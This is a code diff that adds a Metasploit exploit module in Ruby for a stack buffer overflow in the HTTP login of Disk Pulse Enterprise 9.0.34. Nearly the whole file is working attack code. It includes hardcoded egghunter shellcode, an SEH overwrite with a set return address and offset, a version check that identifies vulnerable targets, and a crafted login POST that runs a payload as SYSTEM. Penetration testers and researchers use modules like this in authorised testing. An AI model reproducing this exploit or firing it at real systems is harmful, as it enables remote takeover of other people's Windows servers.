|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::Egghunter |
| 13 | + include Msf::Exploit::Remote::Seh |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Disk Pulse Enterprise Login Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack buffer overflow in Disk Pulse Enterprise |
| 20 | + 9.0.34. If a malicious user sends a malicious HTTP login request, |
| 21 | + it is possible to execute a payload that would run under the Windows |
| 22 | + NT AUTHORITY\SYSTEM account. Due to size constraints, this module |
| 23 | + uses the Egghunter technique. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Chris Higgins', # msf Module -- @ch1gg1ns |
| 29 | + 'Tulpa Security' # Original discovery -- @tulpa_security |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '40452' ] |
| 34 | + ], |
| 35 | + 'DefaultOptions' => |
| 36 | + { |
| 37 | + 'EXITFUNC' => 'thread' |
| 38 | + }, |
| 39 | + 'Platform' => 'win', |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'BadChars' => "\x00\x0a\x0d\x26" |
| 43 | + }, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + [ 'Disk Pulse Enterprise 9.0.34', |
| 47 | + { |
| 48 | + 'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll |
| 49 | + 'Offset' => 12600 |
| 50 | + } |
| 51 | + ], |
| 52 | + ], |
| 53 | + 'Privileged' => true, |
| 54 | + 'DisclosureDate' => 'Oct 03 2016', |
| 55 | + 'DefaultTarget' => 0)) |
| 56 | + |
| 57 | + register_options([Opt::RPORT(80)], self.class) |
| 58 | + |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + res = send_request_cgi({ |
| 63 | + 'uri' => '/', |
| 64 | + 'method' => 'GET' |
| 65 | + }) |
| 66 | + |
| 67 | + if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/ |
| 68 | + return Exploit::CheckCode::Appears |
| 69 | + end |
| 70 | + |
| 71 | + return Exploit::CheckCode::Safe |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + connect |
| 76 | + eggoptions = |
| 77 | + { |
| 78 | + :checksum => true, |
| 79 | + :eggtag => "w00t" |
| 80 | + } |
| 81 | + |
| 82 | + print_status("Generating exploit...") |
| 83 | + |
| 84 | + sploit = "username=admin" |
| 85 | + sploit << "&password=aaaaa\r\n" |
| 86 | + |
| 87 | + # Would like to use generate_egghunter(), looking for improvement |
| 88 | + egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" |
| 89 | + egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" |
| 90 | + |
| 91 | + sploit << rand_text(target['Offset'] - payload.encoded.length) |
| 92 | + sploit << "w00tw00t" |
| 93 | + sploit << payload.encoded |
| 94 | + sploit << make_nops(70) |
| 95 | + sploit << rand_text(1614) |
| 96 | + # Would like to use generate_seh_record(), looking for improvement |
| 97 | + sploit << "\x90\x90\xEB\x0B" |
| 98 | + sploit << "\x33\xA3\x01\x10" |
| 99 | + sploit << make_nops(20) |
| 100 | + sploit << egghunter |
| 101 | + sploit << make_nops(7000) |
| 102 | + |
| 103 | + # Total exploit size should be 21747 |
| 104 | + print_status("Total exploit size: " + sploit.length.to_s) |
| 105 | + print_status("Triggering the exploit now...") |
| 106 | + print_status("Please be patient, the egghunter may take a while...") |
| 107 | + |
| 108 | + res = send_request_cgi({ |
| 109 | + 'uri' => '/login', |
| 110 | + 'method' => 'POST', |
| 111 | + 'content-type' => 'application/x-www-form-urlencoded', |
| 112 | + 'content-length' => '17000', |
| 113 | + 'data' => sploit |
| 114 | + }) |
| 115 | + |
| 116 | + handler |
| 117 | + disconnect |
| 118 | + |
| 119 | + end |
| 120 | +end |
0 commit comments